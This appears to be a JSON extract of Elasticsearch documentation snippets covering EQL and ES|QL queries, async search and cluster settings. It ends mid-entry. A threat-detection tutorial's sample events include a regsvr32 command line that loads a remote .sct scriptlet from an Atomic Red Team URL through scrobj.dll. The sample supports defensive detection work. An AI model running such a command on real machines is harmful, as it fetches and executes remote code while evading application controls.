\"process.pid\": [\n 2012\n ],\n \"process.executable\": [\n \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n ]\n }\n },\n ....\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1107},"digest":"cd6eee201a233b989ac1f2794fa6d640","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search?filter_path=-hits.events._source\n{\n \"runtime_mappings\": {\n \"day_of_week\": {\n \"type\": \"keyword\",\n \"script\": \"emit(doc['@timestamp'].value.dayOfWeekEnum.toString())\"\n }\n },\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\"\n \"\"\",\n \"fields\": [\n \"@timestamp\",\n \"day_of_week\"\n ]\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1130},"digest":"cc180c20e4daabbefd6cd6bf661173d1","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": ...,\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"OQmfCaduce8zoHT93o4H\",\n \"fields\": {\n \"@timestamp\": [\n \"2099-12-07T11:07:09.000Z\"\n ],\n \"day_of_week\": [\n \"MONDAY\"\n ]\n }\n },\n ....\n ]\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1169},"digest":"f3942d9b34138dfca79dff707af270b7","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"timestamp_field\": \"file.accessed\",\n \"event_category_field\": \"file.type\",\n \"query\": \"\"\"\n file where (file.size > 1 and file.type == \"file\")\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1204},"digest":"2ac37c3c572170ded67f1d5a0c8151ab","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"tiebreaker_field\": \"event.sequence\",\n \"query\": \"\"\"\n process where process.name == \"cmd.exe\" and stringContains(process.executable, \"System32\")\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1223},"digest":"8478c39c71bbb559ef6ab919f918f22b","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"filter\": {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"now-1d/d\",\n \"lt\": \"now/d\"\n }\n }\n },\n \"query\": \"\"\"\n file where (file.type == \"file\" and file.name == \"cmd.exe\")\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1253},"digest":"98f7525ec0bc8945eafa008a5a9c50c0","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"wait_for_completion_timeout\": \"2s\",\n \"query\": \"\"\"\n process where process.name == \"cmd.exe\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1276},"digest":"109c26a2fc0d07c401f5a94feab0fe39","lang":"console-result","found":[],"source":"{\n \"id\": \"FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=\",\n \"is_partial\": true,\n \"is_running\": true,\n \"took\": 2000,\n \"timed_out\": false,\n \"hits\": ...\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1296},"digest":"1cca4bb2f0ea7e43181be8bd965149d4","lang":"console","found":["ruby"],"source":"GET /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?wait_for_completion_timeout=2s"}, {"source_location":{"file":"eql/eql.asciidoc","line":1306},"digest":"35f8ce328a42fecfb979e43fdc246516","lang":"console-result","found":[],"source":"{\n \"id\": \"FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=\",\n \"is_partial\": false,\n \"is_running\": false,\n \"took\": 2000,\n \"timed_out\": false,\n \"hits\": ...\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1324},"digest":"d37b065a94b3ff65a2a8a204fc3b097c","lang":"console","found":["ruby"],"source":"GET /_eql/search/status/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE="}, {"source_location":{"file":"eql/eql.asciidoc","line":1330},"digest":"fd2d60e9d92610cd510eae185a2a862b","lang":"console-result","found":[],"source":"{\n \"id\": \"FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=\",\n \"is_running\": false,\n \"is_partial\": false,\n \"expiration_time_in_millis\": 1611690295000,\n \"completion_status\": 200\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1351},"digest":"f18248c181690b81d090275b072f0070","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"keep_alive\": \"2d\",\n \"wait_for_completion_timeout\": \"2s\",\n \"query\": \"\"\"\n process where process.name == \"cmd.exe\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1368},"digest":"6693f0ffa0de3229b5dedda197810e70","lang":"console","found":["ruby"],"source":"GET /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?keep_alive=5d"}, {"source_location":{"file":"eql/eql.asciidoc","line":1378},"digest":"c155d2670ff82b135c7dcec0fc8a3f23","lang":"console","found":["ruby"],"source":"DELETE /_eql/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE="}, {"source_location":{"file":"eql/eql.asciidoc","line":1391},"digest":"cf75a880c749a2f2010a8ec3f348e5c3","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"keep_on_completion\": true,\n \"wait_for_completion_timeout\": \"2s\",\n \"query\": \"\"\"\n process where process.name == \"cmd.exe\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1407},"digest":"d6afd0b695bfaba91e3b1bf71c1f9c9d","lang":"console-result","found":[],"source":"{\n \"id\": \"FjlmbndxNmJjU0RPdExBTGg0elNOOEEaQk9xSjJBQzBRMldZa1VVQ2pPa01YUToxMDY=\",\n \"is_partial\": false,\n \"is_running\": false,\n \"took\": 52,\n \"timed_out\": false,\n \"hits\": ...\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1425},"digest":"a669e9d56e34c95ef4c780e92ed307f1","lang":"console","found":["ruby"],"source":"GET /_eql/search/FjlmbndxNmJjU0RPdExBTGg0elNOOEEaQk9xSjJBQzBRMldZa1VVQ2pPa01YUToxMDY="}, {"source_location":{"file":"eql/eql.asciidoc","line":1454},"digest":"f1bf3edbd9e6c7e01b00c74c99a58b61","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_one\": {\n \"seeds\": [\n \"127.0.0.1:9300\"\n ]\n },\n \"cluster_two\": {\n \"seeds\": [\n \"127.0.0.1:9301\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"eql/eql.asciidoc","line":1482},"digest":"5bb0d84185df2f276f01bb2fba709e1a","lang":"console","found":[],"source":"GET /cluster_one:my-data-stream,cluster_two:my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":51},"digest":"52be795b68e6ef3f396f35fea52d0481","lang":"console","found":["ruby"],"source":"PUT /_index_template/my-data-stream-template\n{\n \"index_patterns\": [ \"my-data-stream*\" ],\n \"data_stream\": { },\n \"priority\": 500\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":73},"digest":"5c22172a944864a7d138decdc08558b4","lang":"console","found":["ruby"],"source":"GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":94},"digest":"8ab11a25e017124a70484781ca11fb52","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search?filter_path=-hits.events <1>\n{\n \"query\": \"\"\"\n any where process.name == \"regsvr32.exe\" <2>\n \"\"\",\n \"size\": 200 <3>\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":114},"digest":"75cd6b06251b93e97e90dd771cf3dd51","lang":"console-result","found":[],"source":"{\n \"is_partial\": false,\n \"is_running\": false,\n \"took\": 60,\n \"timed_out\": false,\n \"hits\": {\n \"total\": {\n \"value\": 143,\n \"relation\": \"eq\"\n }\n }\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":139},"digest":"a7fb1c0d0827d66bfa66016f2564b10c","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n \"\"\"\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":155},"digest":"972060c4a9235a5c43b5fcb31a55e671","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"gl5MJXMBMk1dGnErnBW8\",\n \"_source\": {\n \"process\": {\n \"parent\": {\n \"name\": \"cmd.exe\",\n \"entity_id\": \"{42FC7E13-CBCB-5C05-0000-0010AA385401}\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n },\n \"name\": \"regsvr32.exe\",\n \"pid\": 2012,\n \"entity_id\": \"{42FC7E13-CBCB-5C05-0000-0010A0395401}\",\n \"command_line\": \"regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\",\n \"ppid\": 2652\n },\n \"logon_id\": 217055,\n \"@timestamp\": 131883573237130000,\n \"event\": {\n \"category\": \"process\",\n \"type\": \"creation\"\n },\n \"user\": {\n \"full_name\": \"bob\",\n \"domain\": \"ART-DESKTOP\",\n \"id\": \"ART-DESKTOP\\\\bob\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":209},"digest":"ddcfa47381d47078dbec651e31b69949","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n \"\"\"\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":222},"digest":"a0899eee027a3589065fd2c7dab8e63d","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"ol5MJXMBMk1dGnErnBW8\",\n \"_source\": {\n \"process\": {\n \"name\": \"regsvr32.exe\",\n \"pid\": 2012,\n \"entity_id\": \"{42FC7E13-CBCB-5C05-0000-0010A0395401}\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n },\n \"@timestamp\": 131883573237450016,\n \"dll\": {\n \"path\": \"C:\\\\Windows\\\\System32\\\\scrobj.dll\",\n \"name\": \"scrobj.dll\"\n },\n \"event\": {\n \"category\": \"library\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":277},"digest":"2b47be4b712147a429102aef386470ee","lang":"console","found":[],"source":"GET /my-data-stream/_eql/search\n{\n \"query\": \"\"\"\n sequence by process.pid\n [process where process.name == \"regsvr32.exe\"]\n [library where dll.name == \"scrobj.dll\"]\n [network where true]\n \"\"\"\n}"}, {"source_location":{"file":"eql/detect-threats-with-eql.asciidoc","line":293},"digest":"5c0e004e5dd5d192016e243bb74d069a","lang":"console-result","found":[],"source":"{\n ...\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"sequences\": [\n {\n \"join_keys\": [\n 2012\n ],\n \"events\": [\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"gl5MJXMBMk1dGnErnBW8\",\n \"_source\": {\n \"process\": {\n \"parent\": {\n \"name\": \"cmd.exe\",\n \"entity_id\": \"{42FC7E13-CBCB-5C05-0000-0010AA385401}\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\"\n },\n \"name\": \"regsvr32.exe\",\n \"pid\": 2012,\n \"entity_id\": \"{42FC7E13-CBCB-5C05-0000-0010A0395401}\",\n \"command_line\": \"regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\",\n \"ppid\": 2652\n },\n \"logon_id\": 217055,\n \"@timestamp\": 131883573237130000,\n \"event\": {\n \"category\": \"process\",\n \"type\": \"creation\"\n },\n \"user\": {\n \"full_name\": \"bob\",\n \"domain\": \"ART-DESKTOP\",\n \"id\": \"ART-DESKTOP\\\\bob\"\n }\n }\n },\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"ol5MJXMBMk1dGnErnBW8\",\n \"_source\": {\n \"process\": {\n \"name\": \"regsvr32.exe\",\n \"pid\": 2012,\n \"entity_id\": \"{42FC7E13-CBCB-5C05-0000-0010A0395401}\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n },\n \"@timestamp\": 131883573237450016,\n \"dll\": {\n \"path\": \"C:\\\\Windows\\\\System32\\\\scrobj.dll\",\n \"name\": \"scrobj.dll\"\n },\n \"event\": {\n \"category\": \"library\"\n }\n }\n },\n {\n \"_index\": \".ds-my-data-stream-2099.12.07-000001\",\n \"_id\": \"EF5MJXMBMk1dGnErnBa9\",\n \"_source\": {\n \"process\": {\n \"name\": \"regsvr32.exe\",\n \"pid\": 2012,\n \"entity_id\": \"{42FC7E13-CBCB-5C05-0000-0010A0395401}\",\n \"executable\": \"C:\\\\Windows\\\\System32\\\\regsvr32.exe\"\n },\n \"@timestamp\": 131883573238680000,\n \"destination\": {\n \"address\": \"151.101.48.133\",\n \"port\": \"443\"\n },\n \"source\": {\n \"address\": \"192.168.162.134\",\n \"port\": \"50505\"\n },\n \"event\": {\n \"category\": \"network\"\n },\n \"user\": {\n \"full_name\": \"bob\",\n \"domain\": \"ART-DESKTOP\",\n \"id\": \"ART-DESKTOP\\\\bob\"\n },\n \"network\": {\n \"protocol\": \"tcp\",\n \"direction\": \"outbound\"\n }\n }\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"tab-widgets/esql/esql-getting-started-sample-data.asciidoc","line":7},"digest":"e26e8bfa68aa4ab265b22304c38c3aef","lang":"console","found":["ruby"],"source":"PUT sample_data\n{\n \"mappings\": {\n \"properties\": {\n \"client_ip\": {\n \"type\": \"ip\"\n },\n \"message\": {\n \"type\": \"keyword\"\n }\n }\n }\n}\n\nPUT sample_data/_bulk\n{\"index\": {}}\n{\"@timestamp\": \"2023-10-23T12:15:03.360Z\", \"client_ip\": \"172.21.2.162\", \"message\": \"Connected to 10.1.0.3\", \"event_duration\": 3450233}\n{\"index\": {}}\n{\"@timestamp\": \"2023-10-23T12:27:28.948Z\", \"client_ip\": \"172.21.2.113\", \"message\": \"Connected to 10.1.0.2\", \"event_duration\": 2764889}\n{\"index\": {}}\n{\"@timestamp\": \"2023-10-23T13:33:34.937Z\", \"client_ip\": \"172.21.0.5\", \"message\": \"Disconnected\", \"event_duration\": 1232382}\n{\"index\": {}}\n{\"@timestamp\": \"2023-10-23T13:51:54.732Z\", \"client_ip\": \"172.21.3.15\", \"message\": \"Connection error\", \"event_duration\": 725448}\n{\"index\": {}}\n{\"@timestamp\": \"2023-10-23T13:52:55.015Z\", \"client_ip\": \"172.21.3.15\", \"message\": \"Connection error\", \"event_duration\": 8268153}\n{\"index\": {}}\n{\"@timestamp\": \"2023-10-23T13:53:55.832Z\", \"client_ip\": \"172.21.3.15\", \"message\": \"Connection error\", \"event_duration\": 5033755}\n{\"index\": {}}\n{\"@timestamp\": \"2023-10-23T13:55:01.543Z\", \"client_ip\": \"172.21.3.15\", \"message\": \"Connected to 10.1.0.1\", \"event_duration\": 1756467}"}, {"source_location":{"file":"tab-widgets/esql/esql-getting-started-enrich-policy.asciidoc","line":8},"digest":"05a09078fe1016e900e445ad4039cf97","lang":"console","found":["ruby"],"source":"PUT clientips\n{\n \"mappings\": {\n \"properties\": {\n \"client_ip\": {\n \"type\": \"keyword\"\n },\n \"env\": {\n \"type\": \"keyword\"\n }\n }\n }\n}\n\nPUT clientips/_bulk\n{ \"index\" : {}}\n{ \"client_ip\": \"172.21.0.5\", \"env\": \"Development\" }\n{ \"index\" : {}}\n{ \"client_ip\": \"172.21.2.113\", \"env\": \"QA\" }\n{ \"index\" : {}}\n{ \"client_ip\": \"172.21.2.162\", \"env\": \"QA\" }\n{ \"index\" : {}}\n{ \"client_ip\": \"172.21.3.15\", \"env\": \"Production\" }\n{ \"index\" : {}}\n{ \"client_ip\": \"172.21.3.16\", \"env\": \"Production\" }\n\nPUT /_enrich/policy/clientip_policy\n{\n \"match\": {\n \"indices\": \"clientips\",\n \"match_field\": \"client_ip\",\n \"enrich_fields\": [\"env\"]\n }\n}\n\nPUT /_enrich/policy/clientip_policy/_execute?wait_for_completion=false"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":11},"digest":"16fc93f0e9a395d0668483d29e3df9d8","lang":"console","found":[],"source":"POST /mv/_bulk?refresh\n{ \"index\" : {} }\n{ \"a\": 1, \"b\": [2, 1] }\n{ \"index\" : {} }\n{ \"a\": 2, \"b\": 3 }\n\nPOST /_query\n{\n \"query\": \"FROM mv | LIMIT 2\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":28},"digest":"4e812acbde123f9e68476d04455d5342","lang":"console-result","found":[],"source":"{\n \"columns\": [\n { \"name\": \"a\", \"type\": \"long\"},\n { \"name\": \"b\", \"type\": \"long\"}\n ],\n \"values\": [\n [1, [1, 2]],\n [2, 3]\n ]\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":51},"digest":"df8271648f547673007ecd778341bfc9","lang":"console","found":[],"source":"PUT /mv\n{\n \"mappings\": {\n \"properties\": {\n \"b\": {\"type\": \"keyword\"}\n }\n }\n}\n\nPOST /mv/_bulk?refresh\n{ \"index\" : {} }\n{ \"a\": 1, \"b\": [\"foo\", \"foo\", \"bar\"] }\n{ \"index\" : {} }\n{ \"a\": 2, \"b\": [\"bar\", \"bar\"] }\n\nPOST /_query\n{\n \"query\": \"FROM mv | LIMIT 2\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":77},"digest":"11db6cc75fa0cf3cc43b9dee0c492f83","lang":"console-result","found":[],"source":"{\n \"columns\": [\n { \"name\": \"a\", \"type\": \"long\"},\n { \"name\": \"b\", \"type\": \"keyword\"}\n ],\n \"values\": [\n [1, [\"bar\", \"foo\"]],\n [2, \"bar\"]\n ]\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":93},"digest":"ea0a5762f297928ea79948250a3624ed","lang":"console","found":[],"source":"PUT /mv\n{\n \"mappings\": {\n \"properties\": {\n \"b\": {\"type\": \"long\"}\n }\n }\n}\n\nPOST /mv/_bulk?refresh\n{ \"index\" : {} }\n{ \"a\": 1, \"b\": [2, 2, 1] }\n{ \"index\" : {} }\n{ \"a\": 2, \"b\": [1, 1] }\n\nPOST /_query\n{\n \"query\": \"FROM mv | LIMIT 2\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":119},"digest":"961caf983a2ea0c8c1f8f1766e3bf653","lang":"console-result","found":[],"source":"{\n \"columns\": [\n { \"name\": \"a\", \"type\": \"long\"},\n { \"name\": \"b\", \"type\": \"long\"}\n ],\n \"values\": [\n [1, [1, 2, 2]],\n [2, [1, 1]]\n ]\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":136},"digest":"f2da3937e5f0718527e6eb73aa261b1f","lang":"console","found":[],"source":"PUT /mv\n{\n \"mappings\": {\n \"properties\": {\n \"b\": {\"type\": \"long\"}\n }\n }\n}\n\nPOST /mv/_bulk?refresh\n{ \"index\" : {} }\n{ \"a\": 1, \"b\": [2, 2, 1] }\n{ \"index\" : {} }\n{ \"a\": 2, \"b\": [1, 1] }\n\nPOST /_query\n{\n \"query\": \"FROM mv | EVAL b=TO_STRING(b) | LIMIT 2\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":160},"digest":"b6bf7546f2ab3bb72622a2f8d2fe0cce","lang":"console-result","found":[],"source":"{\n \"columns\": [\n { \"name\": \"a\", \"type\": \"long\"},\n { \"name\": \"b\", \"type\": \"keyword\"}\n ],\n \"values\": [\n [1, [\"1\", \"2\", \"2\"]],\n [2, [\"1\", \"1\"]]\n ]\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":181},"digest":"2a71e2d7f7179dd76183d30789046808","lang":"console","found":["ruby"],"source":"POST /mv/_bulk?refresh\n{ \"index\" : {} }\n{ \"a\": 1, \"b\": [2, 1] }\n{ \"index\" : {} }\n{ \"a\": 2, \"b\": 3 }"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":190},"digest":"1ce2cbfe1430c8837c19304a6b648af3","lang":"console","found":[],"source":"POST /_query\n{\n \"query\": \"FROM mv | EVAL b + 2, a + b | LIMIT 4\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":204},"digest":"113f5bb1ad36a14b4334e40edb5e46f5","lang":"console-result","found":[],"source":"{\n \"columns\": [\n { \"name\": \"a\", \"type\": \"long\"},\n { \"name\": \"b\", \"type\": \"long\"},\n { \"name\": \"b + 2\", \"type\": \"long\"},\n { \"name\": \"a + b\", \"type\": \"long\"}\n ],\n \"values\": [\n [1, [1, 2], null, null],\n [2, 3, 5, 5]\n ]\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":230},"digest":"2988a112b590ae2320940887125fe36a","lang":"console","found":[],"source":"POST /_query\n{\n \"query\": \"FROM mv | EVAL b=MV_MIN(b) | EVAL b + 2, a + b | LIMIT 4\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/multivalued-fields.asciidoc","line":240},"digest":"378b1bf18014ea600d095baf514fae79","lang":"console-result","found":[],"source":"{\n \"columns\": [\n { \"name\": \"a\", \"type\": \"long\"},\n { \"name\": \"b\", \"type\": \"long\"},\n { \"name\": \"b + 2\", \"type\": \"long\"},\n { \"name\": \"a + b\", \"type\": \"long\"}\n ],\n \"values\": [\n [1, 1, 3, 2],\n [2, 3, 5, 5]\n ]\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":16},"digest":"819d9deeb99bd2bd52a503fcde86d918","lang":"console","found":[],"source":"POST /_query?format=txt\n{\n \"query\": \"FROM library | KEEP author, name, page_count, release_date | SORT page_count DESC | LIMIT 5\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":51},"digest":"e8cd1a71162dda00bc49c87c7075d539","lang":"console","found":[],"source":"POST /_query?format=txt\n{\n \"query\": \"\"\"\n FROM library\n | KEEP author, name, page_count, release_date\n | SORT page_count DESC\n | LIMIT 5\n \"\"\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":132},"digest":"aad1080b451bd34ee2fab5ee3d020d16","lang":"console","found":[],"source":"POST /_query?format=txt\n{\n \"query\": \"\"\"\n FROM library\n | KEEP author, name, page_count, release_date\n | SORT page_count DESC\n | LIMIT 5\n \"\"\",\n \"filter\": {\n \"range\": {\n \"page_count\": {\n \"gte\": 100,\n \"lte\": 200\n }\n }\n },\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":176},"digest":"ff4de2873a9090c360e19264dd896b21","lang":"console","found":[],"source":"POST /_query?format=json\n{\n \"query\": \"\"\"\n FROM library\n | KEEP author, name, page_count, release_date\n | SORT page_count DESC\n | LIMIT 5\n \"\"\",\n \"columnar\": true,\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":194},"digest":"716b89c135c054fb55cbc343fc1239b1","lang":"console-result","found":[],"source":"{\n \"columns\": [\n {\"name\": \"author\", \"type\": \"text\"},\n {\"name\": \"name\", \"type\": \"text\"},\n {\"name\": \"page_count\", \"type\": \"integer\"},\n {\"name\": \"release_date\", \"type\": \"date\"}\n ],\n \"values\": [\n [\"Peter F. Hamilton\", \"Vernor Vinge\", \"Frank Herbert\", \"Alastair Reynolds\", \"James S.A. Corey\"],\n [\"Pandora's Star\", \"A Fire Upon the Deep\", \"Dune\", \"Revelation Space\", \"Leviathan Wakes\"],\n [768, 613, 604, 585, 561],\n [\"2004-03-02T00:00:00.000Z\", \"1992-06-01T00:00:00.000Z\", \"1965-06-01T00:00:00.000Z\", \"2000-03-15T00:00:00.000Z\", \"2011-06-02T00:00:00.000Z\"]\n ]\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":224},"digest":"543c3a77880adf281099df1a41f6b96a","lang":"console","found":[],"source":"POST /_query\n{\n \"locale\": \"fr-FR\",\n \"query\": \"\"\"\n ROW birth_date_string = \"2023-01-15T00:00:00.000Z\"\n | EVAL birth_date = date_parse(birth_date_string)\n | EVAL month_of_birth = DATE_FORMAT(\"MMMM\",birth_date)\n | LIMIT 5\n \"\"\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":247},"digest":"11b4f2ff12bb2c3ebe1ebf55d7c036b9","lang":"console","found":[],"source":"POST /_query\n{\n \"query\": \"\"\"\n FROM library\n | EVAL year = DATE_EXTRACT(\"year\", release_date)\n | WHERE page_count > 300 AND author == \"Frank Herbert\"\n | STATS count = COUNT(*) by year\n | WHERE count > 0\n | LIMIT 5\n \"\"\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":268},"digest":"75a0d4d6cbad5f9808e98f047d31d05a","lang":"console","found":[],"source":"POST /_query\n{\n \"query\": \"\"\"\n FROM library\n | EVAL year = DATE_EXTRACT(\"year\", release_date)\n | WHERE page_count > ? AND author == ?\n | STATS count = COUNT(*) by year\n | WHERE count > ?\n | LIMIT 5\n \"\"\",\n \"params\": [300, \"Frank Herbert\", 0],\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":304},"digest":"56c706cfb32f548c63744af3e3bdc95b","lang":"console","found":[],"source":"POST /_query/async\n{\n \"query\": \"\"\"\n FROM library\n | EVAL year = DATE_TRUNC(1 YEARS, release_date)\n | STATS MAX(page_count) BY year\n | SORT year\n | LIMIT 5\n \"\"\",\n \"wait_for_completion_timeout\": \"2s\",\n \"version\": \"2024.04.01\"\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":332},"digest":"629d8404571b200cd16ac40ba40b1167","lang":"console-result","found":[],"source":"{\n \"id\": \"FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=\",\n \"is_running\": true\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":345},"digest":"2afdf0d83724953aa2875b5fb37d60cc","lang":"console","found":[],"source":"GET /_query/async/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFlZ3h4c1RTWFNocDdnY2FSaERnUTozNDE=?wait_for_completion_timeout=30s"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":354},"digest":"40e357182857594f7cd6adc266fda532","lang":"console-result","found":[],"source":"{\n \"is_running\": false,\n \"columns\": ...\n}"}, {"source_location":{"file":"esql/esql-rest.asciidoc","line":367},"digest":"67b71a95b6fe6c83faae51ea038a1bf1","lang":"console","found":[],"source":"DELETE /_query/async/FmdMX2pIang3UWhLRU5QS0lqdlppYncaMUpYQ05oSkpTc3kwZ21EdC1tbFJXQToxOTI="}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":79},"digest":"72a3668ddc95d9aec47cc679d1e7afc5","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_one\": {\n \"seeds\": [\n \"35.238.149.1:9300\"\n ],\n \"skip_unavailable\": true\n },\n \"cluster_two\": {\n \"seeds\": [\n \"35.238.149.2:9300\"\n ],\n \"skip_unavailable\": false\n },\n \"cluster_three\": { <1>\n \"seeds\": [\n \"35.238.149.3:9300\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"esql/task-management.asciidoc","line":11},"digest":"49c40b51da2469a6e00fea8fa6fbf56e","lang":"console","found":["ruby"],"source":"GET /_tasks?pretty&detailed&group_by=parents&human&actions=*data/read/esql"}, {"source_location":{"file":"esql/task-management.asciidoc","line":31},"digest":"473c8ddd4e4b7814a64e5fe40d9d6dca","lang":"console","found":["ruby"],"source":"POST _tasks/2j8UKw1bRO283PMwDugNNg:5326/_cancel"}, {"source_location":{"file":"esql/esql-version.asciidoc","line":30},"digest":"89032c2b69d75aabfaf909c0489cac42","lang":"console","found":[],"source":"POST /_query?format=txt\n{\n \"version\": \"2024.04.01\",\n \"query\": \"\"\"\n FROM library\n | EVAL release_month = DATE_TRUNC(1 month, 